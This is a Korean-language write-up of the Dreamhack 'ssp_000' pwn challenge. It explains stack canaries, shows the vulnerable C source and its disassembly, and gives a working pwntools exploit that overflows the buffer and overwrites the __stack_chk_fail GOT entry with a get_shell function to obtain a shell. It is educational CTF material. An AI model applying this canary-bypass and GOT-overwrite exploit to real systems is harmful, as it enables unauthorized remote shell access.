[Dreamhack] PWN ssp_000

이번 ssp_000문제는 카나리에 대한 문제다. 메모리 스텍의 오염을 인식하고 오염되었을 경우 바이너리를 강제 종료시키는 기능을 한다. 스텍 사이에 랜덤의 값을 넣고 이를 검사해 스텍이 오버플로우 되었는지 확인한다. 이렇게 메모리 커럽션을 어렵게 하는 기법을 Stack Smashing Protector(SSP)라고 한다.

우선 먼저 코드를 살펴보자.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

함수로 쉘이 함수로 있고 main함수는 간단한 버퍼 오버플로우를 일으킬 수 있다. 다만 실행시킨 바이너리의 카나리 값을 릭할 방법이 마땅치 않는다. 이 경우는 조금 생각을 해볼 필요가 있다. 만약 스텍을 오염시키면 __stack_chk_fail 함수가 실행되면서 종료가 될것이다.

다만 main함수를 보면 원하는 위치에 값을 바꿔쓸수 있는것을 볼수 있다. 이를 이용해 스텍이 오버플로우 되었을때 동작할 함수를 __stack_chk_fail가 아닌 get_shell함수로 바꿔주면 쉘을 얻을 수 있을 것이다.

우선 main함수의 어셈블리를 확인해보자

   0x00000000004008fb <+0>:     push   rbp
   0x00000000004008fc <+1>:     mov    rbp,rsp
   0x00000000004008ff <+4>:     sub    rsp,0x70
   0x0000000000400903 <+8>:     mov    DWORD PTR [rbp-0x64],edi
   0x0000000000400906 <+11>:    mov    QWORD PTR [rbp-0x70],rsi
   0x000000000040090a <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400913 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400917 <+28>:    xor    eax,eax
   0x0000000000400919 <+30>:    lea    rdx,[rbp-0x50]
   0x000000000040091d <+34>:    mov    eax,0x0
   0x0000000000400922 <+39>:    mov    ecx,0x8
   0x0000000000400927 <+44>:    mov    rdi,rdx
   0x000000000040092a <+47>:    rep stos QWORD PTR es:[rdi],rax
   0x000000000040092d <+50>:    mov    eax,0x0
   0x0000000000400932 <+55>:    call   0x40088e <initialize>
   0x0000000000400937 <+60>:    lea    rax,[rbp-0x50]
   0x000000000040093b <+64>:    mov    edx,0x80
   0x0000000000400940 <+69>:    mov    rsi,rax
   0x0000000000400943 <+72>:    mov    edi,0x0
   0x0000000000400948 <+77>:    call   0x400710 <read@plt>
   0x000000000040094d <+82>:    mov    edi,0x400a55
   0x0000000000400952 <+87>:    mov    eax,0x0
   0x0000000000400957 <+92>:    call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:    lea    rax,[rbp-0x60]
   0x0000000000400960 <+101>:   mov    rsi,rax
   0x0000000000400963 <+104>:   mov    edi,0x400a5d
   0x0000000000400968 <+109>:   mov    eax,0x0
   0x000000000040096d <+114>:   call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:   mov    edi,0x400a61
   0x0000000000400977 <+124>:   mov    eax,0x0
   0x000000000040097c <+129>:   call   0x4006f0 <printf@plt>
   0x0000000000400981 <+134>:   lea    rax,[rbp-0x58]
   0x0000000000400985 <+138>:   mov    rsi,rax
   0x0000000000400988 <+141>:   mov    edi,0x400a5d
   0x000000000040098d <+146>:   mov    eax,0x0
   0x0000000000400992 <+151>:   call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:   mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:   mov    rdx,rax
   0x000000000040099e <+163>:   mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:   mov    QWORD PTR [rdx],rax
   0x00000000004009a5 <+170>:   mov    eax,0x0
   0x00000000004009aa <+175>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000004009b7 <+188>:   je     0x4009be <main+195>
   0x00000000004009b9 <+190>:   call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009be <+195>:   leave  
   0x00000000004009bf <+196>:   ret

우리가 해당 바이너리를 익스하기 위해 필요한 것은 두가지다. get_shell 함수의 주소와 __stack_chk_fail 함수의 got 주소이다. 이것들 모두 쉽게 확인할 수 있다. __stack_chk_fail의 got는 해당 함수 plt의 주소를 disass 하면 확인할 수 있다.

pwndbg> disass get_shell
Dump of assembler code for function get_shell:
   0x00000000004008ea <+0>:     push   rbp
   0x00000000004008eb <+1>:     mov    rbp,rsp
   0x00000000004008ee <+4>:     mov    edi,0x400a4d
   0x00000000004008f3 <+9>:     call   0x4006e0 <system@plt>
   0x00000000004008f8 <+14>:    nop
   0x00000000004008f9 <+15>:    pop    rbp
   0x00000000004008fa <+16>:    ret    
End of assembler dump.
pwndbg> disass 0x4006d0
Dump of assembler code for function __stack_chk_fail@plt:
   0x00000000004006d0 <+0>:     jmp    QWORD PTR [rip+0x20094a]        # 0x601020 <__stack_chk_fail@got.plt>
   0x00000000004006d6 <+6>:     push   0x1
   0x00000000004006db <+11>:    jmp    0x4006b0
End of assembler dump.

get_shell 함수의 주소는 0x4008ea, __stack_chk_fail 함수의 got값은 0x601020로 확인할 수 있다. 이를 바탕으로 __stack_chk_fail함수 주소를 get_shell 함수로 바꾸기 위해 익스플로잇 코드를 작성해봤다. 해당 익스 코드는 다음과 같다.

from pwn import *
context.update(arch='amd64', os='linux')

c = remote("host3.dreamhack.games", 22697);

stackChkFail = 0x601020
getShell = 0x4008ea

paylaod = "\x90"*0x50

c.send(paylaod)
c.sendlineafter(b"Addr : ", str(stackChkFail))
c.sendlineafter(b"Value : ", str(getShell))

c.interactive()

간단하게 카나리 부분을 덮어쓰기 하여 __stack_chk_fail를 인위적으로 일으키면 그전에 바꿔치기한 함수인 get_shell이 실행된다.